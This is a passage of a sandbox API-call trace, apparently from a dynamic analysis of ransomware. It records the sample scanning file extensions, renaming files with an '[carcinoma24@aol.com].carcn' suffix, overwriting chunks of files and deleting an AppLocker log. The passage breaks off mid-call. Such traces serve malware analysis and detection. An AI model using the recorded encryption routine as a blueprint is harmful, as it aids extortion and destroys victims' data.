[0164.544] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0164.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.544] lstrlenW (lpString=".zip") returned 4 [0164.544] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0164.544] lstrlenW (lpString=".rar") returned 4 [0164.544] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0164.544] lstrlenW (lpString=".bz2") returned 4 [0164.544] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0164.544] lstrlenW (lpString=".7z") returned 3 [0164.544] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0164.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.544] lstrlenW (lpString=".dbf") returned 4 [0164.544] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0164.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.544] lstrlenW (lpString=".1cd") returned 4 [0164.544] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0164.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0164.544] lstrlenW (lpString=".jpg") returned 4 [0164.544] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0164.544] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0164.545] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0164.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.744] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=2192672) returned 1 [0164.744] CloseHandle (hObject=0x2fc) returned 1 [0164.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0164.744] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.762] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0164.856] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.856] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1 [0164.856] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0164.856] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ce9058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0165.031] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0165.031] ReadFile (in: hFile=0x374, lpBuffer=0x3d29058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d29058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0168.106] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.106] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0168.106] ReadFile (in: hFile=0x374, lpBuffer=0x3d69058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d69058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0168.946] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.946] WriteFile (in: hFile=0x374, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0168.956] SetEndOfFile (hFile=0x374) returned 1 [0168.956] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43200b8 [0168.956] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.956] WriteFile (in: hFile=0x374, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.960] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.960] WriteFile (in: hFile=0x374, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.962] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0168.962] WriteFile (in: hFile=0x374, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.963] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.963] CloseHandle (hObject=0x374) returned 1 [0172.034] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0172.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.034] lstrlenW (lpString=".doc") returned 4 [0172.035] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0172.035] lstrlenW (lpString=".docx") returned 5 [0172.035] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0172.035] lstrlenW (lpString=".pdf") returned 4 [0172.035] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0172.035] lstrlenW (lpString=".xls") returned 4 [0172.035] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0172.035] lstrlenW (lpString=".xlsx") returned 5 [0172.035] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0172.035] lstrlenW (lpString=".ppt") returned 4 [0172.035] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString=".zip") returned 4 [0172.035] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0172.035] lstrlenW (lpString=".rar") returned 4 [0172.035] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0172.035] lstrlenW (lpString=".bz2") returned 4 [0172.035] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0172.035] lstrlenW (lpString=".7z") returned 3 [0172.035] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString=".dbf") returned 4 [0172.035] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString=".1cd") returned 4 [0172.035] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString=".jpg") returned 4 [0172.035] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.035] lstrlenW (lpString=".doc") returned 4 [0172.035] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0172.036] lstrlenW (lpString=".docx") returned 5 [0172.036] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0172.036] lstrlenW (lpString=".pdf") returned 4 [0172.036] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0172.036] lstrlenW (lpString=".xls") returned 4 [0172.036] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0172.036] lstrlenW (lpString=".xlsx") returned 5 [0172.036] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0172.036] lstrlenW (lpString=".ppt") returned 4 [0172.036] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0172.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.036] lstrlenW (lpString=".zip") returned 4 [0172.036] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0172.036] lstrlenW (lpString=".rar") returned 4 [0172.036] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0172.036] lstrlenW (lpString=".bz2") returned 4 [0172.036] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0172.036] lstrlenW (lpString=".7z") returned 3 [0172.036] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0172.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.036] lstrlenW (lpString=".dbf") returned 4 [0172.036] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0172.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.036] lstrlenW (lpString=".1cd") returned 4 [0172.036] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0172.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0172.036] lstrlenW (lpString=".jpg") returned 4 [0172.036] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0172.036] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0172.036] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0172.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0172.037] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=2141433) returned 1 [0172.037] CloseHandle (hObject=0x374) returned 1 [0172.037] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0172.037] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0172.037] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0172.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0172.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1 [0172.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0172.038] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ce9058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0175.209] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0175.210] ReadFile (in: hFile=0x374, lpBuffer=0x3d29058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d29058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0175.476] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.476] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0175.476] ReadFile (in: hFile=0x374, lpBuffer=0x3d69058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d69058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0176.008] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.008] WriteFile (in: hFile=0x374, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0177.309] SetEndOfFile (hFile=0x374) returned 1 [0177.309] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43800d0 [0177.317] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0177.317] WriteFile (in: hFile=0x374, lpBuffer=0x43800d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43800d0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.318] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0177.318] WriteFile (in: hFile=0x374, lpBuffer=0x43800d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43800d0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1 [0177.320] WriteFile (in: hFile=0x374, lpBuffer=0x43800d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x43800d0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.321] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.323] CloseHandle (hObject=0x374) returned 1 [0177.841] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0177.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.841] lstrlenW (lpString=".doc") returned 4 [0177.841] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0177.842] lstrlenW (lpString=".docx") returned 5 [0177.842] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0177.842] lstrlenW (lpString=".pdf") returned 4 [0177.842] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0177.842] lstrlenW (lpString=".xls") returned 4 [0177.842] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0177.842] lstrlenW (lpString=".xlsx") returned 5 [0177.842] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0177.842] lstrlenW (lpString=".ppt") returned 4 [0177.842] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0177.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.842] lstrlenW (lpString=".zip") returned 4 [0177.842] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0177.842] lstrlenW (lpString=".rar") returned 4 [0177.842] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0177.842] lstrlenW (lpString=".bz2") returned 4 [0177.842] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0177.842] lstrlenW (lpString=".7z") returned 3 [0177.842] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0177.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.842] lstrlenW (lpString=".dbf") returned 4 [0177.842] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0177.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.842] lstrlenW (lpString=".1cd") returned 4 [0177.842] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0177.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.842] lstrlenW (lpString=".jpg") returned 4 [0177.843] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString=".doc") returned 4 [0177.843] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0177.843] lstrlenW (lpString=".docx") returned 5 [0177.843] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0177.843] lstrlenW (lpString=".pdf") returned 4 [0177.843] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0177.843] lstrlenW (lpString=".xls") returned 4 [0177.843] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0177.843] lstrlenW (lpString=".xlsx") returned 5 [0177.843] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0177.843] lstrlenW (lpString=".ppt") returned 4 [0177.843] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString=".zip") returned 4 [0177.843] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0177.843] lstrlenW (lpString=".rar") returned 4 [0177.843] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0177.843] lstrlenW (lpString=".bz2") returned 4 [0177.843] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0177.843] lstrlenW (lpString=".7z") returned 3 [0177.843] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString=".dbf") returned 4 [0177.843] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString=".1cd") returned 4 [0177.843] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0177.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0177.843] lstrlenW (lpString=".jpg") returned 4 [0177.843] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0177.844] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.844] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0177.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.844] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0177.844] CloseHandle (hObject=0x374) returned 1 [0177.844] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0177.844] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0177.844] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.844] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.845] GetLastError () returned 0x0 [0177.845] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.924] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.926] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.926] WriteFile (in: hFile=0x318, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1 [0177.926] SetEndOfFile (hFile=0x318) returned 1 [0177.926] CloseHandle (hObject=0x318) returned 1 [0177.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.928] SetEndOfFile (hFile=0x374) returned 1 [0177.929] CloseHandle (hObject=0x374) returned 1 [0177.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.929] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0177.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.929] lstrlenW (lpString=".doc") returned 4 [0177.929] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.929] lstrlenW (lpString=".docx") returned 5 [0177.929] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.929] lstrlenW (lpString=".pdf") returned 4 [0177.929] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.929] lstrlenW (lpString=".xls") returned 4 [0177.929] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.929] lstrlenW (lpString=".xlsx") returned 5 [0177.929] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.929] lstrlenW (lpString=".ppt") returned 4 [0177.929] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.930] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0177.930] lstrlenW (lpString=".zip") returned 4 [0177.930] lstrcmpiW (lpString1=".zip", 